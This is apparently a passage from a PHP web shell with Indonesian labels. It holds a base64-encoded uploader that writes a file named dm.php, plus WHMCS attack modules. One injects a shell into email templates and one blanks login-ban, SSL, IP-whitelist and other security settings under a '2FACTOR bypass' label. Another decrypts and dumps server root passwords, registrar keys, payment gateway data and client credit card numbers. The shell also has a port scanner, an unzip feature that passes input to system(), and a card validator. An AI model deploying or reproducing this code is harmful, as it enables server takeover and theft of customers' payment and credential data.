HNWhiV1U3UHo0aVBnMEtQR2x1Y0hWMElITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2JtRnRaVDBpWm1sc1pXNWhiV1VpSUhSNWNHVTlJblJsZUhRaUlIWmhiSFZsUFNJOFAwVmphRzhnSkdacGJHVnVZVzFsT3o4K0lpQnphWHBsUFNJM01pSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCemRIbHNaVDBpWTI5c2IzSTZiR2x0WlR0aVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lNd01EQXdNREFpSUc1aGJXVTlJbk4xWW0xcGRDSWdkbUZzZFdVOUlrOXdaVzRpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdjM1I1YkdVOUltTnZiRzl5T214cGJXVTdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqb2pNREF3TURBd0lpQnVZVzFsUFNKemRXSnRhWFFpSUhaaGJIVmxQU0pFWld4bGRHVWlQand2ZEdRK1BDOTBjajQ4TDNSaFlteGxQZzBLUEdadmJuUWdabUZqWlQwaVZtVnlaR0Z1WVNJZ2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ01URndkQ0krRFFvOGRHVjRkR0Z5WldFZ2JtRnRaVDBpWTI5dWRHVnVkSE1pSUhOMGVXeGxQU0pqYjJ4dmNqcHNhVzFsTzJKaFkydG5jbTkxYm1RdFkyOXNiM0k2SXpBd01EQXdNQ0lnWTI5c2N6MGlOekFpSUhKdmQzTTlJakkxSWo0TkNqdy9SV05vYnlBa1ptbHNaV052Ym5SbGJuUnpPejgrUEM5MFpYaDBZWEpsWVQ0OEwyWnZiblErUEdKeVBnMEtQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSnpkV0p0YVhRaUlIWmhiSFZsUFNKVFlYWmxJajROQ2p4cGJuQjFkQ0IwZVhCbFBTSnlaWE5sZENJZ2MzUjViR1U5SW1OdmJHOXlPbXhwYldVN1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvak1EQXdNREF3SWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZzBLUEhBK0RRbzhhRE0rWDFWUVRFOUJSQ0JHU1V4Rlh6eG9NejROQ2cwS1BEOXdhSEFOQ2cwS1pXTm9ieUFuUEdadmNtMGdZV04wYVc5dVBTSWlJRzFsZEdodlpEMGljRzl6ZENJZ1pXNWpkSGx3WlQwaWJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlTSWdibUZ0WlQwaWRYQnNiMkZrWlhJaUlHbGtQU0oxY0d4dllXUmxjaUkrSnpzTkNnMEtaV05vYnlBblVFRlVTQ0JVUVZKSFJWUWdPaUE4YVc1d2RYUWdibUZ0WlQwaWRYQnNiMkZrZEc4aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpZEdWNGRDSWdjMmw2WlQwaU5UQWlJSFpoYkhWbFBTSW5MbWRsZEdOM1pDZ3BMaWNpUGp4aWNpQXZQaWM3RFFwbFkyaHZJQ2M4YVc1d2RYUWdkSGx3WlQwaVptbHNaU0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0l6TUNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpYzNWaWJXbDBJaUJwWkQwaVgzVndiQ0lnZG1Gc2RXVTlJbFZ3Ykc5aFpDSStQQzltYjNKdFBpYzdEUXBwWmlnZ0pGOVFUMU5VV3lkZmRYQnNKMTBnUFQwZ0lsVndiRzloWkNJZ0tTQjdEUXBwWmloQVkyOXdlU2drWDBaSlRFVlRXeWRtYVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZlVFOVRWRnNuZFhCc2IyRmtkRzhuWFM0bkx5Y3VKRjlHU1V4RlUxc25abWxzWlNkZFd5ZHVZVzFsSjEwcEtTQjdEUW9OQ21WamFHOGdKenhtYjI1MElHTnZiRzl5UFNKc2FXMWxJajViSzEwZ1ZYQnNiMkZrSUZOMWEzTmxjeUE2ZGlBOFluSXZQaUJiSzEwZ0p5NGtYMUJQVTFSYkozVndiRzloWkhSdkoxMHVJaThpTGlSZlJrbE1SVk5iSjJacGJHVW5YVnNuYm1GdFpTZGRPdzBLZlNCbGJITmxJSHNOQ21WamFHOGdKMXQrWFNCVmNHeHZZV1FnUm1GcGJHVmtJRlJmVkNCYmZsMDhMMlp2Ym5RK1BHSnlQaWM3RFFwOUlIME5DajgrRFFvPScpOw0KDQokZm9wZW4gPSBmb3BlbiAoJ2RtLnBocCcsJ3cnKTsNCiR3cml0ZSAgPSBmd3JpdGUoJGZvcGVuICwgJGMwZGUpOw=='));{/php}</textarea>
4128</td></tr>
4129<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4130</table>
4131<br>
4132</form>
4133</center>
4134<?php
4135 if (isset($_POST['plapon'])) {
4136 $anu1 = $_POST['anu1'];
4137 $anu2 = $_POST['anu2'];
4138 $anu3 = $_POST['anu3'];
4139 $anu4 = $_POST['anu4'];
4140 @mysql_connect($anu1, $anu2, $anu3);
4141 @mysql_select_db($anu4);
4142 $shell = str_replace("'", "'", $shell);
4143 $gosok_shell = $_POST['shell'];
4144 $colok = "UPDATE tblemailtemplates SET message ='" . $gosok_shell . "' WHERE subject ='Welcome'";
4145 $udah_ganteng = @mysql_query($colok);
4146 if ($udah_ganteng) {
4147 echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
4148 }
4149 }
4150}
4151# x=dmwhmcs4
4152elseif (isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs4')) {
4153?>
4154<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs4" method="post">
4155<p><br/><body>
4156<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ BYPASS LOGIN 2FACTOR ]:=O</span></b></nobr><br/><br/>
4157<p><form method="post">
4158<table border=1>
4159<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
4160<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
4161<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
4162<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
4163<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4164</table>
4165<br>
4166</FORM>
4167</center>
4168<?php
4169 if (isset($_POST['plapon'])) {
4170 $anu1 = $_POST['anu1'];
4171 $anu2 = $_POST['anu2'];
4172 $anu3 = $_POST['anu3'];
4173 $anu4 = $_POST['anu4'];
4174 @mysql_connect($anu1, $anu2, $anu3);
4175 @mysql_select_db($anu4);
4176 $crot1 = "UPDATE tblconfiguration SET value='' WHERE setting='InvalidLoginBanLength'";
4177 $crot2 = "UPDATE tblconfiguration SET value='' WHERE setting='AdminForceSSL'";
4178 $crot3 = "UPDATE tblconfiguration SET value='' WHERE setting='RequiredPWStrength'";
4179 $crot4 = "UPDATE tblconfiguration SET value='' WHERE setting='MaintenanceMode'";
4180 $crot5 = "UPDATE tblconfiguration SET value='' WHERE setting='APIAllowedIPs'";
4181 $crot6 = "UPDATE tblconfiguration SET value='' WHERE setting='LoginFailures'";
4182 $crot7 = "UPDATE tblconfiguration SET value='' WHERE setting='InstanceID'";
4183 $crot8 = "UPDATE tblconfiguration SET value='' WHERE setting='WhitelistedIPs'";
4184 $crot9 = "UPDATE tblconfiguration SET value='' WHERE setting='ToggleInfoPopup'";
4185 $crot10 = "UPDATE tblconfiguration SET value='' WHERE setting='token_namespaces'";
4186 $udah_ganteng = @mysql_query($crot1);
4187 $udah_ganteng = @mysql_query($crot2);
4188 $udah_ganteng = @mysql_query($crot3);
4189 $udah_ganteng = @mysql_query($crot4);
4190 $udah_ganteng = @mysql_query($crot5);
4191 $udah_ganteng = @mysql_query($crot6);
4192 $udah_ganteng = @mysql_query($crot7);
4193 $udah_ganteng = @mysql_query($crot8);
4194 $udah_ganteng = @mysql_query($crot9);
4195 $udah_ganteng = @mysql_query($crot10);
4196 if ($udah_ganteng) {
4197 echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
4198 }
4199 }
4200}
4201# x=whmcs1
4202elseif (isset($_GET['x']) && ($_GET['x'] == 'whmcs1')) {
4203?>
4204<form action="?dm=<?php echo $pwd; ?>&x=whmcs1" method="post">
4205
4206<p><br/><body>
4207<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ WHMCS DECODER ]:=O</span></b></nobr><br/><br/>
4208 <p><form method="post">
4209<table border=1>
4210<tr><td>db_host </td><td><input type="text" style="color:blue;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
4211<tr><td>db_username </td><td><input type="text" style="color:blue;background-color:#000000" size="60" name="anu2"></td></tr>
4212<tr><td>db_password</td><td><input type="text" style="color:blue;background-color:#000000" size="60" name="anu3"></td></tr>
4213<tr><td>db_name</td><td><input type="text" style="color:blue;background-color:#000000" size="60" name="anu4"></td></tr>
4214<tr><td>cc_encryption_hash</td><td><input style="color:blue;background-color:#000000" type="text" size="60" name="anu5"></td></tr>
4215</table>
4216<br>
4217<INPUT class=submit type="submit" style="color:blue;background-color:#000000" value=" HAJAR BOS " name="plapon">
4218</FORM>
4219</center>
4220
4221<?php
4222 $perawan = $_POST['anu1'];
4223 $kimcil = $_POST['anu2'];
4224 $janda = $_POST['anu3'];
4225 $hotel = $_POST['anu4'];
4226 $kondom = $_POST['anu5'];
4227 @mysql_connect($perawan, $kimcil, $janda);
4228 @mysql_select_db($hotel);
4229 $cc_encryption_hash = $kondom;
4230 function dec($string, $cc_encryption_hash) {
4231 $key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
4232 $hash_key = _hash($key);
4233 $hash_length = strlen($hash_key);
4234 $string = base64_decode($string);
4235 $tmp_iv = substr($string, 0, $hash_length);
4236 $string = substr($string, $hash_length, strlen($string) - $hash_length);
4237 $iv = $out = '';
4238 $c = 0;
4239 while ($c < $hash_length) {
4240 $iv.= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
4241 ++$c;
4242 }
4243 $key = $iv;
4244 $c = 0;
4245 while ($c < strlen($string)) {
4246 if (($c != 0 AND $c % $hash_length == 0)) {
4247 $key = _hash($key . substr($out, $c - $hash_length, $hash_length));
4248 }
4249 $out.= chr(ord($key[$c % $hash_length]) ^ ord($string[$c]));
4250 ++$c;
4251 }
4252 return $out;
4253 }
4254 function _hash($string) {
4255 $hash = (function_exists('sha1')) ? sha1($string) : md5($string);
4256 $out = '';
4257 $c = 0;
4258 while ($c < strlen($hash)) {
4259 $out.= chr(hexdec($hash[$c] . $hash[$c + 1]));
4260 $c+= 2;
4261 }
4262 return $out;
4263 }
4264 if (isset($_POST['plapon'])) {
4265 $query = mysql_query("SELECT *FROM tblservers");
4266 echo "<hr><center><br/><br/><nobr><b><span class='b7'>O=:[ HOST ROOT ]:=O</span></b></nobr><br/><br/></center><table border='1' cellpadding='5' align='center'>
4267<tr>
4268<td align='center'><b>TYPE</b></td>
4269<td align='center'><b>ACTIVE</b></td>
4270<td align='center'><b> IP ADDRESS</b></td>
4271<td align='center'><b>HOSTNAME</b></td>
4272<td align='center'><b>USERNAME</b></td>
4273<td align='center'><b>PASSWORD</b></td>
4274<td align='center'><b>ACCESS HASH</b></td>
4275<td align='center'><b>NAME SERVER</b></td>
4276</tr>";
4277 while ($v = mysql_fetch_array($query)) {
4278 echo "<tr>
4279<td align='center'>{$v['type']}</td>
4280<td align='center'>{$v['active']}</td>
4281<td align='center'>{$v['ipaddress']}</td>
4282<td align='center'>{$v['hostname']}</td>
4283<td>{$v['username']}</td>
4284<td><nobr>" . dec($v['password'], $cc_encryption_hash) . "</nobr></td>
4285<td>{$v['accesshash']}</td>
4286<td>{$v['nameserver1']}</td>
4287</tr>";
4288 }
4289 echo "</table><br><br>";
4290 $query = mysql_query("SELECT *FROM tblregistrars");
4291 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ DOMAIN REGISTRAR ]:=O</span></b></nobr><br/><br/></center><table border='1' align='center' cellpadding='5'>
4292<tr> <td align='center'><b> <font color='lime'> REGISTRAR</font></b></td>
4293<td align='center'><b> <font color='lime'> SETTING</font></b></td>
4294<td align='center'><b> <font color='lime'> VALUE</font> </b></td></tr>";
4295 while ($v = mysql_fetch_array($query)) {
4296 $value = (!dec($v['value'], $cc_encryption_hash)) ? "0" : dec($v['value'], $cc_encryption_hash);
4297 echo "<tr>
4298 <td align='center'> <font color='white'> {$v['registrar']}</font></td>
4299 <td align='center'> <font color='white'> {$v['setting']}</font></td>
4300 <td align='center'> <font color='white'> $value</font></td></tr>";
4301 }
4302 echo "</table><br><br>";
4303 $query = mysql_query("SELECT *FROM tblpaymentgateways");
4304 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ PAYMENT GATEWAYS ]:=O</span></b></nobr><br/><br/></center><table border='1' align='center' cellpadding='5'>
4305<tr>
4306<td align='center'><b>GATEWAY</b></td>
4307<td align='center'><b>SETTING </b></td>
4308<td align='center'><b>VALUE </b></td>
4309<td align='center'><b>ORDER </b></td>
4310</tr>";
4311 while ($v = mysql_fetch_array($query)) {
4312 echo "<tr>
4313<td align='center'>{$v['gateway']}</td>
4314<td align='center'>{$v['setting']}</td>
4315<td align='center'>{$v['value']}</td>
4316<td align='center'>{$v['order']}</td>
4317</tr>";
4318 }
4319 echo "</table><br><br>";
4320 $query = mysql_query("SELECT id FROM tblclients WHERE issuenumber != '' ORDER BY id DESC");
4321 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ CLIENT CREDIT CARD ]:=O</span></b></nobr><br/><br/></center><table border='1' cellpadding='5' align='center'>
4322<tr>
4323<td align='center'><b>CardType</b></td>
4324<td align='center'><b>CardNumb</b></td>
4325<td align='center'><b>Expdate</b></td>
4326<td align='center'><b>IssueNumb</b></td>
4327<td align='center'><b>FirstName</b></td>
4328<td align='center'><b>LastName</b></td>
4329<td align='center'><b>Address</b></td>
4330<td align='center'><b>Country</b></td>
4331<td align='center'><b>Phone</b></td>
4332<td align='center'><b>Email</b></td>
4333</tr>";
4334 if (!is_array(mysql_fetch_array($query))) {
4335 echo "<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
4336 }
4337 while ($v = mysql_fetch_array($query)) {
4338 $cchash = md5($cc_encryption_hash . $v['0']);
4339 $s = mysql_query("SELECT firstname,lastname,address1,country,phonenumber,cardtype,email,AES_DECRYPT(cardnum,'" . $cchash . "') as cardnum,AES_DECRYPT(expdate,'" . $cchash . "') as expdate,AES_DECRYPT(issuenumber,'" . $cchash . "') as issuenumber FROM tblclients WHERE id='" . $v['0'] . "'");
4340 $v2 = mysql_fetch_array($s);
4341 echo "<tr>
4342<td align='center'>" . $v2['cardtype'] . "</td>
4343<td align='center'>" . $v2['cardnum'] . "</td>
4344<td align='center'>" . $v2['expdate'] . "</td>
4345<td align='center'>" . $v2['issuenumber'] . "</td>
4346<td align='center'>" . $v2['firstname'] . "</td>
4347<td align='center'>" . $v2['lastname'] . "</td>
4348<td align='center'>" . $v2['address1'] . "</td>
4349<td align='center'>" . $v2['country'] . "</td>
4350<td align='center'>" . $v2['phonenumber'] . "</td>
4351<td align='center'>" . $v2['email'] . "</td>
4352</tr>";
4353 }
4354 echo "</table><br><br>";
4355 $query = mysql_query("SELECT *FROM tblhosting");
4356 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ CLIENT HOSTING ACCOUNT ]:=O</span></b></nobr><br/><br/></center> <table border='1' cellpadding='5' align='center'>
4357<tr>
4358<td align='center'><b>STATUS</b></td>
4359<td align='center'><b>DOMAIN</b></td>
4360<td align='center'><b>USERNAME</b></td>
4361<td align='center'><b>PASSWORD</b></td>
4362<td align='center'><b>IP ADDRESS</b></td></tr>";
4363 if (!is_array(mysql_fetch_array($query))) {
4364 echo "<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
4365 }
4366 while ($v = mysql_fetch_array($query)) {
4367 echo "<tr>
4368<td align='center'>{$v['domainstatus']}</td>
4369<td align='center'>{$v['domain']}</td>
4370<td align='center'>{$v['username']}</td>
4371<td align='center'>" . dec($v['password'], $cc_encryption_hash) . "</td>
4372<td align='center'>{$v['assignedips']}</td>
4373</tr>";
4374 }
4375 echo "</table><br><br>";
4376 }
4377}
4378# x=psan
4379elseif (isset($_GET['x']) && ($_GET['x'] == 'pscan')) { ?>
4380<form action="?dm=<?php echo $pwd; ?>&x=pscan" method="post">
4381
4382<?php
4383 echo '<center><br/><br/><nobr><b><span class="b7">O=:[ PORT SCANNER ]:=O</span></b></nobr><br/><br/>';
4384 $start = strip_tags($_POST['start']);
4385 $end = strip_tags($_POST['end']);
4386 $host = strip_tags($_POST['host']);
4387 if (isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])) {
4388 for ($i = $start;$i <= $end;$i++) {
4389 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
4390 if ($fp) {
4391 echo "Port <font style='color:#DE3E3E'>$i</font> is <font style='color:#64CF40'>open</font><br>";
4392 }
4393 flush();
4394 }
4395 } else {
4396 echo '<input type="hidden" name="y" value="phptools">
4397
4398Host <br/>
4399<input type="text" class="inputz" name="host" value="localhost"/><br />
4400Port Start<br />
4401<input type="text" class="inputz" name="start" value="0"/><br />
4402Port End:<br />
4403<input type="text" class="inputz" name="end" value="5000"/><br />
4404<input type="submit" class="inputzbut" value="Scan Ports" />
4405</form></center>';
4406 }
4407}
4408// ********** x=string ********** //
4409elseif (isset($_GET['x']) && ($_GET['x'] == 'string')) { ?>
4410<form action="?dm=<?php echo $pwd; ?>&x=string" method="post">
4411
4412<br><br><form method='post'>
4413<table class="tabnet"><tbody>
4414<tr><th colspan="2"> String to Hash </th></tr>
4415<tr><td>String : </td>
4416<td><input type='text' class='inputz' name='hash_input' value='<? if(isset($_POST['hash_input'])){echo $_POST['hash_input'];}?>' /></td></tr>
4417<tr>
4418<td align="center" colspan="2"><input type='submit' name='submit_hash' style="width:100%;" class='inputzbut' value='Encode' /></td>
4419</tr>
4420</tbody>
4421</table>
4422</form>
4423<br><br>
4424
4425<?php
4426 if (isset($_POST['submit_hash'])) {
4427 if (isset($_POST['hash_input'])) {
4428 $hash_input = $_POST['hash_input'];
4429 }
4430 if ($hash_input == "") {
4431 echo 'Nothing Inserted!';
4432 } else {
4433 if (isset($hash_input)) {
4434 echo "<table class='tabnet'><tbody>
4435<tr><th colspan='2'> Hash </th></tr>";
4436 foreach (hash_algos() as $hash_setoption) {
4437 $calculate_hash = hash($hash_setoption, $hash_input, false);
4438 echo "<tr><td width='70' align='center'><font style='color:#9F7CEB'>$hash_setoption</font></td><td><font style='color:#5BC740'>$calculate_hash</font></td></tr>";
4439 }
4440 echo "</tbody></table>";
4441 }
4442 }
4443 }
4444}
4445# x=cc
4446elseif (isset($_GET['x']) && ($_GET['x'] == 'cc')) { ?>
4447<form action="?dm=<?php echo $pwd; ?>&x=cc" method="post">
4448
4449<?php
4450 class CreditCardValidator {
4451 private $arrCardInfo = array('status' => null, 'type' => null, 'substring' => null, 'reason' => null);
4452 private $arrCardTypes = array('amex' => array('name' => 'American Express', 'active' => true, 'iinrange' => '34,37', 'length' => 15), 'discover' => array('name' => 'Discover', 'active' => true, 'iinrange' => '6011,622126-622925,644-649,65', 'length' => 16), 'mastercard' => array('name' => 'MasterCard', 'active' => true, 'iinrange' => '51-55', 'length' => 16), 'visa' => array('name' => 'VISA', 'active' => true, 'iinrange' => '4', 'length' => 16));
4453 private $arrAcceptedMII = array(3, 4, 5, 6);
4454 public function Validate($strCardNumber = null, $strCardType = null) {
4455 if ($strCardNumber === null) {
4456 $this->arrCardInfo['failure'] = 'format';
4457 $this->arrCardInfo['status'] = 'invalid';
4458 return false;
4459 }
4460 if (($strCardType !== null) && !in_array($strCardType, $this->arrCardTypes)) {
4461 $this->arrCardInfo['failure'] = 'cardtype';
4462 $this->arrCardInfo['status'] = 'invalid';
4463 return false;
4464 }
4465 if (!$this->CheckMII($strCardNumber)) {
4466 $this->arrCardInfo['failure'] = 'mii';
4467 $this->arrCardInfo['status'] = 'invalid';
4468 return false;
4469 }
4470 if (!$this->CheckIIN($strCardNumber)) {
4471 $this->arrCardInfo['failure'] = 'iin';
4472 $this->arrCardInfo['status'] = 'invalid';
4473 return false;
4474 }
4475 if (!$this->CheckLuhn($strCardNumber)) {
4476 $this->arrCardInfo['failure'] = 'algorithm';
4477 $this->arrCardInfo['status'] = 'invalid';
4478 return false;
4479 }
4480 $this->arrCardInfo['status'] = 'valid';
4481 $this->arrCardInfo['substring'] = $this->GetCardSubstring($strCardNumber);
4482 return true;
4483 }
4484 private function CleanCardNumber($strCardNumber = null) {
4485 return preg_replace('/[^0-9]/', '', $strCardNumber);
4486 }
4487 private function GetCardSubstring($strCardNumber = null) {
4488 if (strstr($strCardNumber, '*') && (substr($strCardNumber) < 10)) return $strCardNumber;
4489 $strCardNumber = $this->CleanCardNumber($strCardNumber);
4490 return $strCardNumber ? '***' . substr($strCardNumber, (strlen($strCardNumber) - 4), 4) : '';
4491 }
4492 private function CheckMII($strCardNumber = null) {
4493 $strCardNumber = $this->CleanCardNumber($strCardNumber);
4494 if (!$strCardNumber) return false;
4495 $intFirstDigit = (int)substr($strCardNumber, 0, 1);
4496 if (!in_array($intFirstDigit, $this->arrAcceptedMII)) return false;
4497 return true;
4498 }
4499 private function CheckLuhn($strCardNumber = null) {
4500 $strCardNumber = (string)$this->CleanCardNumber($strCardNumber);
4501 $strCheckDigit = substr($strCardNumber, (strlen($strCardNumber) - 1), 1);
4502 $strCardNumberReverse = strrev($strCardNumber);
4503 $intTotal = 0;
4504 for ($i = 1;$i <= strlen($strCardNumberReverse);$i++) {
4505 $intVal = (int)($i % 2) ? $strCardNumberReverse[$i - 1] : ($strCardNumberReverse[$i - 1] * 2);
4506 if ($intVal > 9) {
4507 $strVal = (string)$intVal;
4508 $intVal = (int)($strVal[0] + $strVal[1]);
4509 }
4510 $intTotal+= $intVal;
4511 }
4512 return (($intTotal % 10) == 0) ? true : false;
4513 }
4514 private function CheckIIN($strCardNumber = null) {
4515 $strCardNumber = $this->CleanCardNumber($strCardNumber);
4516 if (!$strCardNumber) return false;
4517 $arrCardTypePossibilities = array();
4518 foreach ($this->arrCardTypes as $strShortName => $arrCardType) {
4519 if ($arrCardType['active'] === true) {
4520 $strLen = strlen($strCardNumber);
4521 if ($strLen == $arrCardType['length']) {
4522 $arrRangeSets = explode(',', $arrCardType['iinrange']);
4523 foreach ($arrRangeSets as $strRangeSetItem) {
4524 $arrStrRanges = explode('-', $strRangeSetItem);
4525 if (count($arrStrRanges) > 1) {
4526 for ($i = $arrStrRanges[0];$i <= $arrStrRanges[1];$i++) {
4527 if ((strpos((string)$strCardNumber, (string)$i) === 0) && !in_array($strShortName, $arrCardTypePossibilities)) $arrCardTypePossibilities[] = $strShortName;
4528 }
4529 } else {
4530 if ((strpos((string)$strCardNumber, (string)trim($arrStrRanges[0])) === 0) && !in_array($strShortName, $arrCardTypePossibilities)) $arrCardTypePossibilities[] = $strShortName;
4531 }
4532 }
4533 }
4534 }
4535 }
4536 $this->arrCardInfo['type'] = implode('|', $arrCardTypePossibilities);
4537 return count($arrCardTypePossibilities) ? true : false;
4538 }
4539 public function GetCardInfo() {
4540 return $this->arrCardInfo;
4541 }
4542 public function GetCardName($strCardShortName = null) {
4543 return isset($this->arrCardTypes[$strCardShortName]['name']) ? $this->arrCardTypes[$strCardShortName]['name'] : '';
4544 }
4545 }
4546 $CCV = new CreditCardValidator();
4547 if (isset($_POST['cardnum'])):
4548 $CCV->Validate($_POST['cardnum']);
4549 $CARDINFO = $CCV->GetCardInfo();
4550 endif;
4551?>
4552
4553<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
4554<html lang="en"><head>
4555<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
4556<title>Credit Card Validation - Test Page</title><style type="text/css">
4557body{ font-size: 13px; color: #333; font-family: 'georgia', 'times new roman', serif; margin: 20px; }
4558
4559fieldset{ border: 0; margin: 0; font-style: italic; }
4560
4561legend{ display: none; }
4562
4563label{ width: 100%; float: left; clear: both; font-size: 15px; font-weight: bold; color: #999; line-height: 3; }
4564
4565input, textarea{ font-size: 18px; line-height: 1.4; padding: 10px; border: 2px solid #eee; }
4566
4567textarea{ background-color: #eee; color: blue; }
4568
4569h2{ font-size: 30px; }
4570
4571#fs-input input{ width: 500px; margin-bottom: 15px; }
4572#fs-input input.cb{ width: auto; }
4573#fs-submit input{ background-color: #333; color: lightyellow; }
4574</style>
4575</head>
4576
4577<body><h2>Credit Card Tester</h2>
4578<form action="" method="post">
4579<fieldset id="fs-input"><legend></legend>
4580<label>Card Number</label>
4581<input type="text" style="color:#FF0000;background-color:#000000" name="cardnum" value="<?php echo @$_POST['cardnum']; ?>"><br>
4582<input type="checkbox" name="showgeek" class="cb" value="1"<?php if (isset($_POST['showgeek'])) echo ' checked'; ?>> Show Geeky Output
4583</fieldset>
4584<fieldset id="fs-submit">
4585<legend></legend>
4586<label></label>
4587<input type="submit" value="Check CC">
4588</fieldset>
4589<?php if (isset($_POST['cardnum'])): ?>
4590<hr>
4591
4592<h2>Result</h2><fieldset id="fs-result">
4593<legend></legend><label></label>
4594<strong>Status:</strong> <?php echo strtoupper($CARDINFO['status']); ?><br>
4595<strong>Card Type: </strong> <?php echo $CCV->GetCardName($CARDINFO['type']); ?>
4596</fieldset>
4597<?php
4598 endif; ?>
4599<?php if (isset($_POST['showgeek'])): ?>
4600<fieldset id="fs-geek-result">
4601<legend></legend>
4602<label>Geeky Result</label>
4603<textarea style="color:#FF0000;background-color:#000000" rows="40" cols="80"><?php print_r($CCV); ?></textarea>
4604</fieldset>
4605<?php
4606 endif; ?>
4607</form></body></html>
4608
4609<?php
4610}
4611# x=unzip
4612elseif (isset($_GET['x']) && ($_GET['x'] == 'unzip')) {
4613?>
4614<form action="?dm=<?php echo $pwd; ?>&x=unzip" method="post">
4615<center><br/><br/><nobr><span class="b7">O=:[ ZIP FILE EXTRACTOR ]:=O</nobr><br/><br/>
4616<?php
4617 $file = $_POST['file'];
4618 if (isset($file)) {
4619 echo "<nobr><b>[+] PROSES BONGKAR [+]</b><br><br></nobr>";
4620 system('unzip -o ' . $file);
4621 echo "<br/>";
4622 exit;
4623 }
4624 $handler = opendir(".");
4625 echo "<center><b>Pilih File Yg Mau Di Unzip :<b><br> " . "<br>";
4626 echo '<form action="" method="get">';
4627 $found = false;
4628 while ($file = readdir($handler)) {
4629 if (preg_match("/.zip$/i", $file)) {
4630 echo '<input type="radio" name="file" value=' . $file . '> ' . $file . '<br>';
4631 $found = true;
4632 }
4633 }
4634 closedir($handler);
4635 if ($found == false) echo "<br><br><b>[+] GA ADA FILE EXTENSI ZIP [+]<b><br>";
4636 else echo '<br><br><inpuy type="submit" value="Unzip File">';
4637 echo "</form>";
4638?>
4639
4640<?php
4641}
4642# x=analyzer
4643elseif (isset($_GET['x']) && ($_GET['x'] == 'analyzer')) {
4644?>
4645<form action="?dm=<?php echo $pwd; ?>&x=analyzer" method="post">
4646
4647<center><br/><br/><nobr><span class="b7">O=:[ HASH TYPE ANALYZER ]:=O</nobr><br/><br/> <form method=POST>
4648<input type="text" style="color:#FF0000;background-color:#000000" name="hashToAnalyze" size=60><input type="submit" style="color:#FF0000;background-color:#000000" value="Check Hash Now" name="analyzieNow"></form></center>
4649<?php
4650 if ($_POST['analyzieNow']) {
4651 $hash = $_POST['hashToAnalyze'];
4652 $subHash = substr($hash, 0, 3);
4653 if ($subHash == '$ap' && strlen($hash) == 37) {
4654 echo "The Hash : " . $hash . " is : MD5(APR) Hash";
4655 } else if ($subHash == '$1$' && strlen($hash) == 34) {
4656 echo "The Hash : " . $hash . " is : MD5(UNIX) Hash";
4657 } else if ($subHash == '$H$' && strlen($hash) == 35) {
4658 echo "The Hash : " . $hash . " is : MD5(phpBB3) Hash";
4659 } else if (strlen($hash) == 29) {
4660 echo "The Hash : " . $hash . " is : MD5(Wordpress) Hash";
4661 } else if ($subHash == '$5$' && strlen($hash) == 64) {
4662 echo "The Hash : " . $hash . " is : SHA256(UNIX) Hash";
4663 } else if ($subHash == '$6$' && strlen($hash) == 128) {
4664 echo "The Hash : " . $hash . " is : SHA512(UNIX) Hash";
4665 } else if (strlen($hash) == 56) {
4666 echo "The Hash : " . $hash . " is : SHA224 Hash";
4667 } else if (strlen($hash) == 64) {
4668 echo "The Hash : " . $hash . " is : SHA256 Hash";
4669 } else if (strlen($hash) == 96) {
4670 echo "The Hash : " . $hash . " is : SHA384 Hash";
4671 } else if (strlen($hash) == 128) {
